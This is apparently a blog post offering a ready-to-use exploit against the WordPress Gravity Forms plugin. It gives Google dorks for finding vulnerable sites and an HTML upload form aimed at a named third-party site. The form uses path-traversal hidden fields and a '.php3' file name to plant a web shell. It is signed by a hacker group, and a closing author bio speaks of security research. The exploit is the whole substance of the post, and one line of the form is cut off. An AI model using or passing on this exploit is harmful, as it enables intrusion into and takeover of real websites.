Exploit input upload shell in Script Wordpress

To day i sharing one exploit in the wordpress
dork seach google

Dork1 :?gf_page=upload
Dork2 :inurl:/wp-content/plugins/gravityform

code exploit

<title>Exploit input "upload" shell</title>
<body bgcolor="#C0C0C0">
<!--
_input__x.php3
-->
<form action="http://cthhire.co.uk/?gf_page=upload" method="post" enctype="mult$
<p align="center"><font size="6" face="Bernard MT Condensed" color="#FF0000">
Exploit By Dr.AFN[D]ENA | Anonymous Rabaa Team</font></p>
<p align="center"><font face="Bernard MT Condensed" size="6" color="#FF0000">
Fb.com/<span lang="en-us">R4BIAHackersTeam</span></font></p>
<p><label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input name="form_id" value="../../../" type="hidden">
<input name="name" value="_input__x.php3" type="hidden">
<input name="gform_unique_id" value="../../" type="hidden">
<input name="field_id" value="" type="hidden">
<input type="submit" name="gform_submit" value="Submit">
</p>

About Vo Uu

Tác Giả là người chuyên nghiên cứu về các kỹ thuật hacking, security, marketing, là người có góc nhìn lạ và đi sâu vấn đề cũng như là một con người thẳng thắn góp ý. Nếu sử dụng bài trên blog mong các bạn dẫn lại nguồn tác giả!!! Tác Giả rất mong có sự đóng góp hội ý từ cộng đồng để cho an toàn an ninh mạng việt nam ngày càng được an toàn hơn!!